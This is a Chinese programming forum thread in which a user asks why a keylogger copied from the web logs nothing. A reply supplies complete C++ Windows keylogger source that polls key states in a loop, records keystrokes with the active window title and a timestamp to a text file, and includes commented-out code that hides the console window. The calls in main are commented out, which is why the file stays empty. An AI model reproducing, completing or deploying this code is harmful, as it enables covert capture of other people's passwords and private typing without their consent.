要写一个键盘记录程序,然后保存在文本文档中,在网上直接找了个,但是编译运行后没什么情况发生啊,那个文本文件也是空的。是不是得把dll文件或者exe文件拷到什么地方才能记录?
解决方案 »
- 求救:Ado 内存持续增长
- 关于STL的简单的小问题.小弟在线等..............急呀!!!!!!!!!!!!!!!!!!
- 雨思-版权已归所思之人:P
- 想将一个int型数据写到文件里,我用的是CStdioFile.WriteString(unsign char*)
- 66分紧急求助.怎么在一个对话框中打开、关闭另外一个对话框啊
- delphi的DLL,VC使用问题。急急急!!!
- 以前一直没注意过CreateWindow()里的高度这个参数
- 哪位大侠可提供一个实现多线程的socket通讯服务器端(在W2K下)的例程
- 关于[ 后台服务 ]问题 !!!
- 求助大神,用VS2012在已知的框架里用C++编程数字图像处理中的图像的分割2:区域分裂与合并算法
- vc中如何得到窗口中按钮及图标的位置坐标
- dumpbin 版本
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;// Lower Case Key & Some Other Keys
char* LowerCase[]={
"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]",
"[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4",
"5","6","7","8","9","0","-","=","[TAB]","q",
"w","e","r","t","y","u","i","o","p","[",
"]","a","s","d","f","g","h","j","k","l",
";","'","z","x","c","v","b","n","m",",",
".","/","\\","[CTRL]","[WIN]"," ","[WIN]","[Print Screen]","[Scroll Lock]","[Insert]",
"[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[UP]","[Right]","[Down]","[Num Lock]",
"/","*","-","+","0","1","2","3","4","5",
"6","7","8","9",".",
};// Upper Case Key & Some Other Keys
char* UpperCase[]={
"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]",
"[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$",
"%","^","&","*","(",")","_","+","[TAB]","Q",
"W","E","R","T","Y","U","I","O","P","{",
"}","A","S","D","F","G","H","J","K","L",
":","\"","Z","X","C","V","B","N","M","<",
">",".?","|","[CTRL]","[WIN]"," ","[WIN]","[Print Screen]","[Scroll Lock]","[Insert]",
"[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]",
"/","*","-","+","0","1","2","3","4","5",
"6","7","8","9",".",
};// Ascii Keys,Forget About It
int SpecialKeys[]={
8,13,27,112,113,114,115,116,117,118,
119,120,121,122,123,192,49,50,51,52,
53,54,55,56,57,48,189,187,9,81,
87,69,82,84,89,85,73,79,80,219,
221,65,83,68,70,71,72,74,75,76,
186,222,90,88,67,86,66,78,77,188,
190,191,220,17,91,32,92,44,145,45,
36,33,46,35,34,37,38,39,40,144,
111,106,109,107,96,97,98,99,100,101,
102,103,104,105,110,
};HWND PreviousFocus=NULL;
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
ofstream out("out.txt", ios::out);// ---------------------------------------------------------------------
int main(){
// HWND hSelf = GetForegroundWindow();
// ShowWindow(hSelf,SW_HIDE);
// KeyLogger();
return 0;
}
//-----------------------------------------------------------------------// Purpose: To Check The Active Windows Title
BOOL IsWindowsFocusChange()
{ //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
HWND hFocus = GetForegroundWindow();
BOOL ReturnFlag = FALSE;
if (hFocus != PreviousFocus) // The Active Windows Has Change
{
PreviousFocus = hFocus;
int WinLeng = GetWindowTextLength(hFocus);
char *WindowCaption = new char[WinLeng + 2];
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
GetWindowText(hFocus,WindowCaption,(WinLeng + 1));
if (strlen(WindowCaption) > 0) // Really Get The Windows's Caption
{
SYSTEMTIME stime;
GetLocalTime( &stime );
out <<endl<<"The Active Windows Title:"<<endl;
out << "(" << stime.wYear << "/" << stime.wMonth << "/" << stime.wDay << " ";
out << stime.wHour << ":" << stime.wMinute << ":" << stime.wSecond << ")" <<WindowCaption<<endl;
ReturnFlag=TRUE;
}
delete[] WindowCaption;
}
return ReturnFlag; // Return The Flag
}// End Of IsWindowsFocusChange Function// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
BOOL KeyLogger()
{
int bKstate[256] = {0}; // Declare The Key State Array
int i,x;
int state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift; // Variable To Hode State Of Shift Key
char KeyBuffer[600]; // Key Buffer Array
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer while(TRUE) // Forever Loop Is Taking Place Here
{
Sleep(8);
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (IsWindowsFocusChange())
{
if (strlen(KeyBuffer) != 0) // Keys Are Pressed
{
out<<KeyBuffer<<endl;
memset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer
}
}
for(i=0;i<95;i++) // Looping To Check Visual Keys
{
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressed
x = SpecialKeys[i]; // Match The Key
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys
{
//See Whether CapsLocak Or Shift Is Pressed
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Not Pressed
{
bKstate[x] = 1; //Uppercase Characters A-Z
} else
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed
{
bKstate[x] = 2; //Lowercase a-z
} else
if (shift < 0) // Shift Is Pressed
{
bKstate[x] = 3; //Uppercase Characters A-Z
}
else
bKstate[x] = 4; //Lowercase a-z
} else
{
if (bKstate[x] != 0) // No Combination Keys Detected
{
state = bKstate[x]; // Retrieve The Current State
bKstate[x] = 0; // Reset The Current State
if (x == 8) // Back Space Is Detected
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then
continue; // Start A New Loop
} else
if (strlen(KeyBuffer) > 550) // Buffer FULL
{
out<<KeyBuffer<<"<Buffer Full>";
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffer
continue; // Start A New Loop
} else
if (x == 13) // Enter Is Detected
{
if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter
{
continue; // Start A New Loop
}
out<<KeyBuffer<<"<Enter>"<<endl;
memset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Enter
continue; // Start A New Loop
}else
if ((state%2) == 1) //Must Be Upper Case Characters
{
strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer
} else
if ((state%2) == 0) // Must Be Lower Case Characters
{
strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer
}
}
}
}// End Of For Loop
}// End Of While Loop
return TRUE;
}
原型为
LRESULT __stdcall HookProc(int nCode,WPARAM wParam,LPARAM lParam);